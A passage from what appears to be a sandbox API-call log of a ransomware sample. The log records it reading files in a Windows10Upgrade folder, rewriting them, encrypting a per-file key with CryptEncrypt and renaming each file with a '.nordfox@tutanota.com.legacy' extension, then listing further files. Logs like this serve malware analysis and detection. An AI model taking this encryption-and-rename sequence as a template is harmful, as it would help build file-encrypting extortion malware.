lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.993] WriteFile (in: hFile=0x634, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.994] CloseHandle (hObject=0x634) returned 1 [0114.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0114.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0114.994] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0115.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0115.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0115.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0115.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.015] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt", dwFileAttributes=0x80) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0115.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0115.016] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0115.016] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16497) returned 1 [0115.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4071) returned 0x609bd8 [0115.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4071) returned 0x60dc58 [0115.016] ReadFile (in: hFile=0x634, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x4071, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4071, lpOverlapped=0x0) returned 1 [0115.030] SetFilePointer (in: hFile=0x634, lDistanceToMove=-16497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.030] WriteFile (in: hFile=0x634, lpBuffer=0x60dc58*, nNumberOfBytesToWrite=0x4071, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dc58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4071, lpOverlapped=0x0) returned 1 [0115.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dc58 | out: hHeap=0x520000) returned 1 [0115.030] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4071 [0115.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.031] WriteFile (in: hFile=0x634, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.031] WriteFile (in: hFile=0x634, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.031] CloseHandle (hObject=0x634) returned 1 [0115.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0115.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.031] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0115.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0115.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0115.034] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0115.034] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml", dwFileAttributes=0x80) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.034] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0115.035] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=91648) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16600) returned 0x2e20fd8 [0115.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16600) returned 0x2e375e0 [0115.035] ReadFile (in: hFile=0x634, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0x16600, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x16600, lpOverlapped=0x0) returned 1 [0115.047] SetFilePointer (in: hFile=0x634, lDistanceToMove=-91648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.047] WriteFile (in: hFile=0x634, lpBuffer=0x2e375e0*, nNumberOfBytesToWrite=0x16600, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e375e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16600, lpOverlapped=0x0) returned 1 [0115.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0115.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e375e0 | out: hHeap=0x520000) returned 1 [0115.052] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16600 [0115.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.053] WriteFile (in: hFile=0x634, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.053] WriteFile (in: hFile=0x634, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.053] CloseHandle (hObject=0x634) returned 1 [0115.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0115.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.053] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0115.084] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2c33630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6598 [0115.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.084] GetLastError () returned 0x0 [0115.084] SetLastError (dwErrCode=0x0) [0115.084] GetLastError () returned 0x0 [0115.084] SetLastError (dwErrCode=0x0) [0115.085] GetLastError () returned 0x0 [0115.085] SetLastError (dwErrCode=0x0) [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.085] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2c33630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0115.085] GetLastError () returned 0x0 [0115.086] SetLastError (dwErrCode=0x0) [0115.086] GetLastError () returned 0x0 [0115.086] SetLastError (dwErrCode=0x0) [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0115.086] GetLastError () returned 0x0 [0115.086] SetLastError (dwErrCode=0x0) [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0115.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6098 [0115.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6098 | out: hHeap=0x520000) returned 1 [0115.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0115.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0115.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.087] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b4fa7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b4fa7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="block.png", cAlternateFileName="")) returned 1 [0115.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.087] GetLastError () returned 0x0 [0115.087] SetLastError (dwErrCode=0x0) [0115.087] GetLastError () returned 0x0 [0115.087] SetLastError (dwErrCode=0x0) [0115.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.087] GetLastError () returned 0x0 [0115.087] SetLastError (dwErrCode=0x0) [0115.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0115.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0115.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0115.087] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b8a24, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b8a24, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x1ba8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bluelogo.png", cAlternateFileName="")) returned 1 [0115.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.088] GetLastError () returned 0x0 [0115.088] SetLastError (dwErrCode=0x0) [0115.088] GetLastError () returned 0x0 [0115.088] SetLastError (dwErrCode=0x0) [0115.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.088] GetLastError () returned 0x0 [0115.088] SetLastError (dwErrCode=0x0) [0115.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0115.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0115.088] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b9dbd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b9dbd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bullet.png", cAlternateFileName="")) returned 1 [0115.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.088] GetLastError () returned 0x0 [0115.089] SetLastError (dwErrCode=0x0) [0115.089] GetLastError () returned 0x0 [0115.089] SetLastError (dwErrCode=0x0) [0115.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.089] GetLastError () returned 0x0 [0115.089] SetLastError (dwErrCode=0x0) [0115.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0115.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0115.089] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bb141, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bb141, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default.css", cAlternateFileName="")) returned 1 [0115.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0115.089] GetLastError () returned 0x0 [0115.089] SetLastError (dwErrCode=0x0) [0115.089] GetLastError () returned 0x0 [0115.089] SetLastError (dwErrCode=0x0) [0115.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0115.093] GetLastError () returned 0x0 [0115.093] SetLastError (dwErrCode=0x0) [0115.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0115.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0115.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0115.093] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bc4cd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bc4cd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf44d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default.htm", cAlternateFileName="")) returned 1 [0115.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0115.094] GetLastError () returned 0x0 [0115.094] SetLastError (dwErrCode=0x0) [0115.094] GetLastError () returned 0x0 [0115.094] SetLastError (dwErrCode=0x0) [0115.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0115.094] GetLastError () returned 0x0 [0115.094] SetLastError (dwErrCode=0x0) [0115.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0115.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0115.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0115.094] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bd859, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bd859, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x13e24500, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default_eos.css", cAlternateFileName="DEFAUL~1.CSS")) returned 1 [0115.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.094] GetLastError () returned 0x0 [0115.094] SetLastError (dwErrCode=0x0) [0115.095] GetLastError () returned 0x0 [0115.095] SetLastError (dwErrCode=0x0) [0115.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.095] GetLastError () returned 0x0 [0115.095] SetLastError (dwErrCode=0x0) [0115.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0115.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.095] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bff6c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bff6c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea75e900, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0xda3a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default_eos.htm", cAlternateFileName="DEFAUL~1.HTM")) returned 1 [0115.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0115.095] GetLastError () returned 0x0 [0115.095] SetLastError (dwErrCode=0x0) [0115.095] GetLastError () returned 0x0 [0115.095] SetLastError (dwErrCode=0x0) [0115.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0115.096] GetLastError () returned 0x0 [0115.096] SetLastError (dwErrCode=0x0) [0115.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0115.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0115.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0115.096] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 